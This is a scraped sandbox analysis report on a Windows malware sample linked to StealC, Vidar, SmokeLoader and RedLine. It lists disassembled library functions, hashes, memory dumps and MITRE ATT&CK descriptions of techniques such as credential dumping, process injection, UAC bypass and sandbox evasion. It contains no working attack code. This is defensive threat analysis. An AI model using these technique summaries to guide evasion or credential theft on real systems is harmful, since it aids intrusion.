Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID: m
API String ID: 2134207285-3775001192
Opcode ID: 57c1219b4a0d0ccd149a41e29e5a12ada7d99d2ca6b3cd6c63945099e418a6cd
Instruction ID: ae7b2846e301b103dcc9e5630b7be7cab79978970a324f8cf6a650de681ac205
Opcode Fuzzy Hash: 57c1219b4a0d0ccd149a41e29e5a12ada7d99d2ca6b3cd6c63945099e418a6cd
Instruction Fuzzy Hash: E7312770C04389EBCB05DFA8CA91BDE7B78AF16314F208298E4011F2E2E7B59645C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A3C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 009A3C81
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 009A3CE4

Strings

bad locale name, xrefs: 009A3D06

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 1906d2ff3116966638eae17750445ac3d6f16062bf703ed60d2b36910d0c6b0c
Instruction ID: 0245322a01cac83e586db3c4d056acb290d6a0a388767fcfebd49e1518ca84dc
Opcode Fuzzy Hash: 1906d2ff3116966638eae17750445ac3d6f16062bf703ed60d2b36910d0c6b0c
Instruction Fuzzy Hash: BF1181B0805B84EED721DF68C90474BBFE4AF16714F14869DE09997B81D3B95604C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00A8C863 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A8C8AA

Strings

CorExitProcess, xrefs: 00A8C8A2
mscoree.dll, xrefs: 00A8C891

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: AddressProc
String ID: CorExitProcess$mscoree.dll
API String ID: 190572456-1276376045
Opcode ID: a0ef238c2fdfb0d8481b236e1c656dff7758171766cb5f70edffdb0a2a5129f9
Instruction ID: 19d7b6347c494a9d043409a54d4fcc9069908e8e26dc7d582430a23a02cb9887
Opcode Fuzzy Hash: a0ef238c2fdfb0d8481b236e1c656dff7758171766cb5f70edffdb0a2a5129f9
Instruction Fuzzy Hash: CF014F32944659AFDB119B94DC05FEEBBBCFB04B51F044625E811A26A0DBB49A01CFA0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).
Tactics:	Reconnaissance
Data Sources:	Internet Scan: Response Content
Platforms:	PRE
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report qk9TaBBxh8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: SmokeLoader

Threatname: RedLine

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFBGHDGCFHIDBGDGIIIE

C:\ProgramData\BFHIJEBKEBGHIDHJKJEG

Windows Analysis Report
qk9TaBBxh8.exe

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre